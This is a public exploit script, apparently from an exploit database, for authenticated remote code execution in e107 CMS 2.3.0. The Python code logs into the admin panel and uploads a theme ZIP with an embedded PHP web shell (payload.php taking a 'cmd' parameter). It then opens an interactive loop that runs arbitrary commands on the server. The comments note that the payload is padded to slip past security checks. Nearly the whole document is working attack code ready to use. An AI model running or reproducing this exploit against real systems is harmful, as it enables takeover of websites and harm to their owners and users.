# Exploit Title: e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 21-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.0
# Category: Webapps
# Tested on: Linux/Windows

# e107 is a free website content management system
# Includes an endpoint that allows remote access
# Theme page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.
# The contents of the upload "malicious.zip" file must be too long to read to bypass some security measures!

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#       python3 exploit.py -h


from time import sleep
import requests
import argparse


def main():
  parser = argparse.ArgumentParser(
    description='e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)'
  )
  parser.add_argument('-u', '--host', type=str, required=True)
  parser.add_argument('-l', '--login', type=str, required=True)
  parser.add_argument('-p', '--password', type=str, required=True)
  args = parser.parse_args()
  print("\ne107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",
      "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
  host(args)



def host(args):
  #Check http or https
  if args.host.startswith(('http://', 'https://')):
    print("[?] Check Url...\n")
    sleep(2)
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    else:
      pass
  else:
    print("\n[?] Check Adress...\n")
    sleep(2)
    args.host = "http://" + args.host
    args.host = args.host
    if args.host.endswith('/'):
      args.host = args.host[:-1]
    else:
      pass


  # Check Host Status
  try:
    response = requests.get(args.host)
    if response.status_code != 200:
      print("[-] Address not reachable!")
      sleep(2)
      exit(1)
    else:
      check(args)

  except requests.ConnectionError as exception:
    print("[-] Address not reachable!")
    sleep(2)
    exit(1)



def check(args):
  response = requests.get(args.host + "/e107_themes/payload/payload.php?cmd=whoami")
  if response.status_code == 200:
    print("[*] Exploit File Exists!\n")
    sleep(2)
    exploit(args)
  else:
    login(args)



def login(args):
  url = args.host + "/e107_admin/admin.php"
  headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/e107_admin/admin.php",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
  }
  data = {"authname": args.login, "authpass": args.password, "authsubmit": "Log In"}
  response = requests.post(url, headers=headers, data=data, allow_redirects=False)
  new_cookie = response.cookies.get("MySi_cookieSID")
  if (response.headers.get("Location") == "admin.php?failed"):
    print("[-] Login Failed...\n")
    print("Your username or password is incorrect.")
    sleep(2)
    exit(1)
  else:
    print("[+] Success Login...\n")
    sleep(2)
    install(args, new_cookie)



def install(args, new_cookie):
  url = args.host + "/e107_admin/theme.php"
  cookies = {
    "MySi_cookieSID": new_cookie,
    "e107_tzOffset": "-180"}
  headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": args.host,
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Referer": args.host + "/e107_admin/theme.php?mode=main&action=upload",
    "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
  }
  data = "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n2097152\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"ac\"\r\n\r\n005cd2159fa5342883b18a46726a908d\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file_userfile[]\"; filename=\"payload.zip\"\r\nContent-Type: application/zip\r\n\r\nPK\x03\x04\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00payload/PK\x03\x04\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00\x00\x00payload/payload.php\xb3\xb1/\xc8(P\xc8L\xd3\xc8,.N-\xd1P\x89ww\r\x89VO\xceMQ\x8f\xd5\xd4\xacVP\x01\xb2\x14l\x15P\xc5\xad\x15\x8a+\x8bKRs5@\xb2@^Jf\xaa\xb5B\xad\x82\xbd\x1d\x00PK\x01\x02?\x03\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00$\x00\x00\x00\x00\x00\x00\x00\x10\x80\xedA\x00\x00\x00\x00payload/\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xaf\x9b\xc4\xe5\xae\xd7\x01\x80E4\xc5\xe5\xae\xd7\x01\x00\xaf\x9b\xc4\xe5\xae\xd7\x01PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81&\x00\x00\x00payload/payload.php\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x80/\x99\xe6\xed\xae\xd7\x01\x008\xa1x\xee\xae\xd7\x01\x80/\x99\xe6\xed\xae\xd7\x01PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xbf\x00\x00\x00\x95\x00\x00\x00\x00\x00\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\n1\r\n------WebKitFormBoundary--\r\n"
  response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)

  if (response.status_code == 301):
    print("[!] Unauthorized user!\n\n")
    print("Requires user with add theme permissions.")
    sleep(2)
    exit(1)
  else:
    print("[!] Upload Vuln File!\n")
    sleep(2)
    exploit(args)



def exploit(args):
  print("[+] Exploit Done!\n")
  sleep(2)

  while True:
    cmd = input("$ ")
    url = args.host + "/e107_themes/payload/payload.php?cmd=" + cmd
    headers = {
      "Upgrade-Insecure-Requests": "1",
      "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
    }

    response = requests.post(url, headers=headers, timeout=5)

    if response.text == "":
      print(cmd + ": command not found\n")
    else:
      print(response.text)

if __name__ == '__main__':
  main()